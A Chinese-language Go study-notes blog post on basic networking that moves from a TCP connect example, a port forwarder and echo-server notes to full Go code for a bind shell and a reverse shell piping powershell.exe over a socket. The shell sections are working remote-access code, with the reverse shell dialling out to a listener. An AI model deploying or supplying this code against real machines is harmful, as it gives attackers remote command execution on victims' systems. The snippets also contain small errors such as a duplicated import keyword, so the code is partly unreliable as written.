Golang学习笔记

Golang学习笔记 二 基础网络链接

第二章-基础网络连接

建立TCP连接与代理

  • 简单地连接到某个ip和端口

    package main
    
    import (
        "fmt"
        "net"
    )
    
    func main() {
        conn, err := net.Dial("tcp", "scanme.nmap.org:80")
        defer conn.Close()
        if err == nil {
            fmt.Println("Connect success")
        }
    }
    
  • 简单地实现端口转发

    package main
    
    import (
        "io"
        "log"
        "net"
        "strings"
    )
    
    func proxy(conn net.Conn) {
        dst, err := net.Dial("tcp", "localhost:80")
        defer func() {
            dst.Close()
            conn.Close()
        }()
        if err != nil {
            log.Fatalf("Error: %v\n", err)
        }
        go func() {
            if _, err := io.Copy(dst, conn); err != nil && !strings.Contains(err.Error(), "closed") {
                log.Printf("2 Error: %v\n", err)
            }
        }()
        if _, err := io.Copy(conn, dst); err != nil && !strings.Contains(err.Error(), "closed") {
            log.Printf("1 Error: %v\n", err)
        }
    }
    
    func main() {
        listener, err := net.Listen("tcp", ":8888")
        if err != nil {
            log.Fatalf("Error: %v\n", err)
        }
        for {
            conn, err := listener.Accept()
            if err != nil {
                log.Fatalf("Error: %v\n", err)
            }
            go proxy(conn)
        }
    }

echo服务器的三种实现方式

  1. 最底层的实现方式,使用net.Conn.Readnet.Conn.Write底层函数

  2. 使用golang自带的bufio包,使用bufio.NewReader.ReadStringbufio.NewWriter.WriteString实现,自带缓存,在写入的时候可能需要flush才能立即显示

  3. 使用golang自带的io包,使用io.Copy(dst *io.Writer, src *io.Reader)实现,可以自己实现Reader和Writer,只需要实现 Read(b []byte) (int, error)Write(b []byte) (int, error)即可

简单代理的实现方式

核心

  • 使用net.Listen监听端口建立服务器
  • 当监听到新的连接时交给一个新的协程处理
  • 协程中使用net.Dial连接到需要代理的目标,并使用io.Copy将请求源的请求发送至目标(起一个新的协程),将目标的响应发送至请求源

Golang正向shell的实现方式

核心

  • 使用net.Listen监听端口建立服务器
  • 当监听到新的连接时交给一个新的协程处理
  • 协程大致流程
    image-20201113205942449
import (
    "io"
    "log"
    "net"
    "os/exec"
)

func handle(conn net.Conn) {
    cmd := exec.Command("powershell.exe")
    rp, wp := io.Pipe()
    cmd.Stdin = conn     // read input from conn
    cmd.Stdout = wp      
    cmd.Stderr = wp      
    go io.Copy(conn, rp) // read output to conn
    cmd.Run()
    conn.Close()
}

func handle2(conn net.Conn) { // 后来发现可以直接这样
    cmd := exec.Command("powershell.exe")
    cmd.Stdin = conn
    cmd.Stdout = conn
    cmd.Stderr = conn
    cmd.Run()
    conn.Close()
}

func main() {
    listener, err := net.Listen("tcp", ":20080")
    if err != nil {
        log.Fatalln("Unable to bind to port")
    }
    log.Println("Listening on 0.0.0.0:20080")
    for {
        conn, err := listener.Accept()
        if err != nil {
            log.Fatalln("Unable to accept connetcion")
        }
        go handle(conn)
    }
}

Golang反向shell实现方式

核心

和正向shell一样

import import (
    "io"
    "net"
    "os/exec"
)

func handle2(conn net.Conn) { // 后来发现可以直接这样
    cmd := exec.Command("powershell.exe")
    cmd.Stdin = conn
    cmd.Stdout = conn
    cmd.Stderr = conn
    cmd.Run()
    conn.Close()
}

func main() {
    reConn, _ := net.Dial("tcp", "127.0.0.1:8888")
    handle2(reConn);
}

longlone

Copyright © 2020 Longlone's Blog. All rights reserved.